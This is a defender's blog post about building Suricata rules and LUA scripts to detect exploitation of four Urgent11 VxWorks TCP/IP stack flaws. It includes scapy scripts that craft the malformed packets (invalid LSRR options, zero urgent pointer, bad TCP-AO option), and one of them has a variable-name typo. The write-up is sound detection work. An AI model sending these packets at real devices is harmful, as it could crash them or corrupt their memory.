Developing Urgent11 Detection with Suricata

2019-11-13

In july of 2019 Armis released a technical whitepaper detailing numerous vulnerabilities found in devices running VxWorks. Since this post is not about explaining what VxWorks is, or why the vulnerabilities are so impactful, I will leave you with this link to the post that Armis put out in july.

Since I’m developing Suricata rules for the company I work at I was looking into these vulnerabilities and the possibilities to exploit it. Me and a colleague of mine quickly came to the conclusion that this is indeed a range of vulnerabilities with quite some impact when exploited in the wild. I set out on a mission to write some Suricata rules that trigger less false positives than the ones provided by Armis (sorry Armis but those rules almost blew some sensors towards a singularity with the amount of false positives), only to come to the conclusion that the TCP/IP options that needed to be matched were not available as keywords in Suricata.

A little bit annoyed and too stubborn to accept defeat I turned myself towards LUA and sacrificed the last pieces of my soul to develop some LUA scripts that can run on top of Suricata to detect the exploitation attempts.

I managed to test and create LUA scripts for CVE-2019-12255, CVE-2019-12256, CVE-2019-12258, and CVE-2019-12260. I did look at the other exploits but didn’t understand the exploitations well enough on a technical level, let alone recreate the network packets needed to test the LUA scripts. You can find the LUA scripts and Suricata rules here.

Update 2019-11-13

Victor Julien reached out to me on Twitter to let me know that Suricata 5.0 is equipped with the ipv4.hdr and tcp.hdr keywords which should be able to match the conditions detailed in this blogpost. I will update the rules and part of this post when I find the time to test the new rules.

Update 2019-11-28

After looking into the tcp.hdr keyword I noticed that the behavior of the keyword was off and shot in a bug report at the OISF issue tracker for suricata. The issue has since been fixed for the tcp.hdr keyword and I managed to write the VxWorks detection rules for CVE-2019-12255, CVE-2019-12258, and CVE-2019-12260 with the new keyword. I added the rules to the rules file on my Github repository.

I also want to use this update to compliment the OISF team for picking up the issue quickly and merging the fix in the Suricata developer repository so that people like me can test this right away! Thank you!

Some words

Before I started writing the rules and scripts I tried to understand the technical details about the exploits. I didn’t manage to understand all of the exploits on a technical level, but I dare to say I understand the concepts of the exploits well enough to probably recognize it if I see the traffic as let’s say, a meta alert created by other Suricata alerts related to common exploitation traffic (webshells, reverse shells, meterpreter, etc.). I will not go into all of the technical details of the exploits I manage to recreate since Armis did a pretty good job with their technical whitepaper, this post was made to explain my thought process while creating the rules and scripts.

CVE-2019-12556

This exploit probably took me the longest to really understand since it covers a lot of the TCP/IP stack that I simply didn’t know on that level. When it comes to CVE-2019-12256 the implementation of the VxWorks error conditions leads to various code flaws. The flaw affects how ICMP packets are parsed when the SSRR or LSRR options are set with invalid values.

Preliminary Research

By default it will try to copy the SSRR and LSRR options from the failing packet to the output packet (response to the malformed packet). When the failing packet is not validated to contain valid IP options it may copy multiple SSRR or LSRR options from the failing packet onto the options strucutre that is allocated on the stack which is 40 bytes. This flaw causes a packet with the following LSRR options to overflow the stack:

type LSRR    Length    LSRR-Pointer    Type LSRR    Length    LSRR-Pointer
\x83         \x03      \x27            \x83         \x03      \x27

The above would produce two LSRR options in the IP options field (shown in below picture);

The above image shows that the LSRR options doesn’t contain a valid routing entry (a valid routing entry would contain atleast 4 bytes) and the LSSR-Pointer field points past the end of the option as described in the technical whitepaper (you can verify the numerical value of the options on this IANA page). Because each LSRR option is 3 bytes of length, it would generate a copied version of 43 bytes (3 bytes header, 36 bytes of routing entries, 4 bytes of a new routing entry for the current route).

These 43 bytes will trigger the stack overflow since the allocated space is only 40 bytes. I lack the experience and technical knowledge to devise an exploit that is able to trigger this vulnerability and change it into something fun like a reverse shell. I did however manage to recreate the packets needed to develop a Suricata rule based on the technical whitepaper.

Recreating the traffic

With a basic understanding of the exploit itself and why it exists I turned to scapy to develop a script that can recreate the packets needed.

Because this traffic resides on the IP layer of the TCP/IP stack there’s not much needed to recreate the packet itself if it just comes to recreating without exploiting the flaw, the following scapy script is sufficient:

import argparse
from scapy.all import *

def craft_packets(host):
    # Replace the hex value with below values for SSRR options:
    # \x89\x03\x27\x89\x03\x27
    ERR_PACKET = IP(dst=host, options='\x83\x03\x27\x83\x03\x27')
    print("[+] PKT#1: Sending IP packet with double LSRR options")
    send(ERR_PACKET)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Packet recreation for Urgent11 CVE-2019-12256")
    parser.add_argument("--host", dest="host", help="Target machine IP-address")

    args = parser.parse_args()

    # Craft the packets
    craft_packets(args.host)

Detecting the traffic

Now we have a method of recreating the packet it’s time to look at the contents of the packet to devise a LUA script that can be used by Suricata to detect this type of traffic.

Before diving into a rule I like to get a decent understanding of the contents of the network traffic like offsets of certain values, so let’s start with those. Because we can already recreate packets it’s as easy as whipping up the Wireshark hex view and start counting;

According to the hex view of Wireshark the pattern starts at offset 63, this would mean a check for the LSRR pattern in packets would look something like this:

  • offset 63 == 0x83

  • offset 64 == 0x03

  • offset 65 == 0x27

  • offset 66 == 0x83

  • offset 67 == 0x03

  • offset 68 == 0x27

Keep the offsets and values in mind as we continue creating the LUA script to trigger when a match is found. To use LUA scripts with suricata you can use the ‘luajit’ keyword when the script is placed into the directory Suricata looks for its rules. For me this directory is /var/lib/suricata/rules/ but yours may be different. The Suricata rule would look a little bit like the following rule:

alert ip any any -> $HOME_NET any (msg:"EXPLOIT - VxWorks CVE-2019-12256 Double Invalid LSRR Options Observed"; flow:to_server; luajit:cve_2019_12256_lsrr.lua; threshold:type limit, track by_src, count 1, seconds 3600; classtype:attempted-admin; reference:url, armis.com/urgent11/; metadata:created_at 2019-11-12; metadata:cve, 2019-12256; sid:1; rev:1;)

It took me a little while to get used to LUA and I still haven’t figured out if I can match on the actual hex values instead of its ordinal values but for now this works:

function init (args)
    local needs = {}
    needs["packet"] = tostring(true)
    return needs
end

function match (args)
    for index, data in pairs(args) do
        if(string.byte(data, 63) == 131 and string.byte(data, 64) < 4 and string.byte(data, 65) == 39
            and string.byte(data, 66) == 131 and string.byte(data, 67) < 4 and string.byte(data, 68) == 39) then
            return 1
        end
    end
    return 0
end

As you can see in the Suricata rule I saved the LUA script as ‘cve_2019_12256_lsrr.lua’ because I created two scripts; one detects the LSRR options, the other detects the SSRR options. You can find both on the Github page.

The script checks the hex value as ordinal because I do not know how to match the hex values using LUA. I tested the above script against multiple PCAPs that I made, do not hesitate to get into touch with me if you think that the rule and/or script can be optimized!

CVE-2019-12255

The CVE-2019-12255 and CVE-2019-12260 both abuse the TCP connetion’s Urgent pointer. Maybe using the word ‘abuse’ isn’t event the right word since the VxWorks implementation is plain wrong before they decided to fix it.

Preliminary Research

CVE-2019-12255 is present in VxWorks versions 6.9.3 and all of the versions below that. The exploit abuses the fact that if the Urgent pointer is set to 0, the received Urgent pointer will be equal to the sequence number of the received segment. The evaluation function tries to evaluate the offset to an Urgent Data that is out of bounds (0) which will result in -1. Because the variable used for its length is an unsigned integer the value will be equal to 0xffffffff.

The above flaw causes the constraint set on the length to be set by the user in the call to the function to receive the packet to be ignored, this results in a copy of all the available data in the TCP window to the user supplied buffer.

Recreating the traffic

This exploit is fairly simple to recreate if you know how to set TCP options with scapy:

import argparse
from scapy.all import *

def craft_packets(host ,port):
    sequence_number = 1000
    payload = '\x42' * 2000

    # Craft a SYN packet to start the connection
    TCP_SYN = IP(dst=host)/TCP(dport=port, flags="S", seq=sequence_number)
    print("[+] PKT#1: Sending SYN")
    SYN_ACK = sr1(TCP_SYN)

    # Increment the sequence number
    sequence_number + 1
    acknowlegde_number = SYN_ACK.seq + 1

    # Craft an ACK packet to continue setting up the connection
    TCP_ACK = IP(dst=host)/TCP(dport=port, flags="A", seq=sequence_number, ack=acknowledge_number)
    print("[+] PKT#2: Sending ACK")
    send(TCP_ACK)

    # Create the malformed packet with the Urgent pointer set to 0
    TCP_PSH = IP(dst=host)/TCP(dport=port, flags="PAU", seq=sequence_number, ack=acknowledge_number, urgptr=0)/payload
    print("[+] PKT#3: Sending malformed packet with urgptr=0")
    send(TCP_PSH)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Packet recreation for Urgent11 CVE-2019-12255")
    parser.add_argument("--host", dest="host", help="Target machine IP-address")
    parser.add_argument("--port", dest="port", help="Target port")

    args = parser.parse_args()

    # Craft the packets
    craft_packets(args.host, int(args.port))

Detecting the traffic

Like before I like to see what the network traffic looks like before diving into building the necessary detection capabilities. First we verify if the packet is indeed recreated with the Urgent pointer set to 0:

The above packet does indeed show the packet that was crafted, including the payload of 2000 bytes. To detect this kind of traffic we could make a little assumption with our to-be Suricata rule and that is that an attacker is likely sending an actual payload. I made the assumption that this will likely produce a payload of > 1500 bytes (keep this value in mind). Other than this we need to figure out the offset of the Urgent pointer in such a packet, I turned to the Wireshark hex view again for this task:

The above image will set you on the wrong foot with the offsets and it wasn’t until I printed the offset of each value in the packet that I found out that the actual offset is found at 55 and 56. This is due to how Wireshark reassembles the packets. I didn’t dive too deep into this and was able to reproduce this behavior on different machines (please get into contact with me if you can explain it to me like I’m 5).

With this knowledge we could create a Suricata rule much like the following that will be able to detect these kind of packets:

alert ip any any -> $HOME_NET any (msg:"EXPLOIT - VxWorks CVE-2019-12255 Integer Underflow Observed"; flow:to_server; flags:PUA; dsize:>1500; luajit:cve_2019_12255.lua; threshold:type limit, track by_src, count 1, seconds 3600; classtype:attempted-admin; reference:url, armis.com/urgent11/; metadata:created_at 2019-11-05; metadata:cve, 2019-12255; sid:2; rev:1;)

As you can see in the above rule I added the assumption in the form of the ‘dsize’ keyword which will check if the TCP data exceeds 1500 bytes. On top of the above rule I have created the following LUA script to check for the actual Urgent pointer value, something that Suricata is not able to do at the time of writing:

function init (args)
    local needs = {}
    needs["packet"] = tostring(true)
    return needs
end

function match (args)
    for index, data in pairs(args) do
        if string.byte(data, 55) == 0 and string.byte(data, 56) == 0 then
            return 1
        end
    end
    return 0
end

The above script is stored as ‘cve_2019_12255.lua’ on my machine, please keep in mind that you need to change the value of ‘luajit’ if you decided to go with a different name.

CVE-2019-12260

Now you may have an OCD-like mind and trigger on the fact that I don’t write about the CVE’s in a chronological order but there’s a reason for this; I’m lazy and tried to group the exploits while researching.

CVE-2019-12260 is another Urgent pointer handling flaw which is why I write about this one after CVE-2019-12255.

Preliminary Research

Just like CVE-2019-12256 this one too cost me quite some time to understand, and I’m still not sure if I’m recreating the packets correctly so please let me know if any of the information in this post is inaccurate.

I quite liked the flow of this exploit and enjoyed reading about it in the technical whitepaper. The flaw exists in how the TCP connection is handled when an invalid TCP Authentication Option is set (RFC5925 / TCP-AO), thus creating a 5-way handshake with the device.

When the TCP-AO is set with a length of less than or equal to 3 bytes it will lead to a state confusion of the socket and keeps in a listening state, accepting the malformed packet that is set with an Urgent pointer of 10, triggering the sequence number to be the value an unsigned integer value stored on the stack. This will result in overflows in any of the code that performs the call to the receive function on the TCP socket.

Recreating the traffic

Now I will have to admit that I have not managed to get this into a working exploit, or atleast been able to test it against a known-vulnerable device. I have been into contact with Armis to ask if a certain device should be vulnerable to this exploit, turns out that the device I own and could test with wasn’t vulnerable.

Still I’m too stubborn to stop my attempt there and created a Python script with scapy to recreate the would-be bad traffic:

import argparse
from scapy.all import *
from scapy import route

def craft_packets(host, port):

    # Craft the malformed SYN packet with the TCP-AO option of <= 3 bytes
    TCP_MAL_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=0, options=[(29,'\x61')])
    print("[+] PKT#1: Sending malformed SYN...")
    send(TCP_MAL_SYN)

    # Craft the SYN packet with sequence 0 and flags FIN/URG. Set URG ptr to non-zero
    TCP_SYNURG = IP(dst=host)/TCP(sport=31337, dport=port, flags="FSU", seq=0, urgptr=10)
    print("[+] PKT#2: Sending malformed SYN/FIN/URG...")
    send(TCP_SYNURG)

    # Craft the valid SYN packet with a high sequence number
    sequence = 1000000
    TCP_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence)
    print("[+] PKT#3: Sending valid SYN with seq:{0}".format(sequence))
    send(TCP_SYN)

    # Craft the valid ACK packet to respond to the device
    payload = "\xFF" * 1024
    TCP_ACK = IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1)/payload
    sr1(TCP_ACK)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Packet recreation for Urgent11 CVE-2019-12260")
    parser.add_argument("--host", dest="host", help="Target machine IP-address")
    parser.add_argument("--port", dest="port", help="Target port")

    args = parser.parse_args()

    # Craft the packets
    craft_packets(args.host, int(args.port))

The flow of the above packets can be written down as follows:

  • Malformed SYN packet with TCP-AO option and a length of <= 3 bytes

  • SYN packet with seq:0 and the URG and FIN flags set. Set the URG pointer to any value that is non-zero like 10

  • Send a valid SYN packet with a high sequence number (something like 1000000)

  • Target responds with a SYN/ACK

  • Attacker response with ACK

  • This final ACK can carry a payload -> Armis shows a 1024 bytes payload which results in any recv() call on the socket to write these bytes into the user buffer. – If the TCP server performs a recv() of a shorter length, a memory corruption will occur. – The attacker controls the overflow data, as it’s the data that was sent in the ACK packet

This final ACK can carry a payload -> Armis shows a 1024 bytes payload which results in any recv() call on the socket to write these bytes into the user buffer. If the TCP server performs a recv() of a shorter length, a memory corruption will occur. The attacker controls the overflow data, as it’s the data that was sent in the ACK packet

Detecting the traffic

Detecting the traffic that was created by the scapy script was not trivial per se. I spend too much time on minor details only to later find out that I really need to check for what triggers the exploit; the TCP-AO option set with a value of less than or equal to 3 bytes:

I thought the above Wireshark was quite funny as it shows the TCP-AO option as ‘Unknown’. The TCP-AO option was unknown to me before I read the RFC article. The TCP-AO option is set with value 29 (0x1D) which can also be seen in the script.

To create a LUA script I used the Wireshark hex view (which did also not work reliable in this case) and noted that the value was located at offset 29 (ha), so the value to check is at offset 30, right:

It’s not at offset 29, and yet again this seems to be the way Wireshark reassembles packets. The value is located at offset 57 with it’s option length located at offset 58.

Because the exploitation attempt will be in the form of a TCP packet with the SYN flag set, the following Suricata rule can be used in combination with the LUA script:

alert ip any any -> $HOME_NET any (msg:"EXPLOIT - VxWorks CVE-2019-12260 Malformed TCP-AO Detected"; flow:to_server; flags:S; luajit:cve_2019_12260.lua; threshold:type limit, track by_src, count 1, seconds 3600; classtype:attempted-admin; reference:url, armis.com/urgent11/; metadata:created_at 2019-11-06; metadata:cve, 2019-12260; sid:3; rev:1;)

Thus the following LUA script should detect the actual exploitation attempts:

function init (args)
    local needs = {}
    needs["packet"] = tostring(true)
    return needs
end

function match (args)
    for index, data in pairs(args) do
        if string.byte(data, 57) == 29 and string.byte(data, 58) < 4 then
            return 1
        end
    end
    return 0
end

I was able to detect the invalid option length of the TCP-AO option with the above LUA script.

CVE-2019-12258

This is kind of a bonus write-up since I didn’t actually figure out how to recreate the packets but used the Urgent11 detection script that Armis made to recreate the traffic and look at it with the technical whitepaper next to it.

Preliminary Research

Much of this information comes straight from the detection script itself, I do not exactly understand how this exploit works. In my understanding simply sending an invalid Window Scale option makes vulnerable devices unable to handle the connection properly, thus never really closing it, leading to a Denial of Service. Again, correct me if I’m wrong because I’m happy to learn!

That being said I ran the script to take a look at the packets and noticed that Wireshark also marks the options as being invalid:

With most of the preliminary research already done I could dive into developing detection methods right away.

Detecting the traffic

The TCP Window Scale option is recognized as having the hex value 3 which is convenient as this will also be the ordinal value. The only other check that needs to be done with the LUA script is checking if the option value is set to 2 (invalid), and if the packet is indeed a TCP SYN packet:

alert ip any any -> $HOME_NET any (msg:"EXPLOIT - VxWorks CVE-2019-12258 SYN Observed"; flow:to_server; luajit:cve_2019_12258.lua; threshold:type limit, track by_src, count 1, seconds 3600; classtype:attempted-admin; reference:url, armis.com/urgent11/; reference:url, github.com/ArmisSecurity/urgent11-detector; metadata:created_at 2019-11-05; metadata:cve, 2019-12258; sid:1; rev:1;)

The really OCD-like minds will have been melt at this point since you will notice that the above rule has an SID value of 1.

The LUA script for detecting the option and its values looks a little bit like this:

function init (args)
    local needs = {}
    needs["packet"] = tostring(true)
    return needs
end

function match (args)
    for index, data in pairs(args) do
        if string.byte(data, 57) == 3 and string.byte(data, 58) == 2 then
            return 1
        end
    end
    return 0
end

The above script is able to detect the values, in combination with the Suricata rule this should lead to a lot less false positive triggers on your precious sensors.

Conclusion

In this somewhat long blogpost I have showed my thought process when developing Suricata rules. Hopefully I could show people that you do not need to know a certain scripting language to make it useful for your needs, at this point I have decided that I absolutely hate LUA and I feel an urge to learn Rust just so I’m able to implement the same functionalities as part of the Suricata framework.

If you would like to receive the PCAPs that I have created you can reach me on Twitter.

Last updated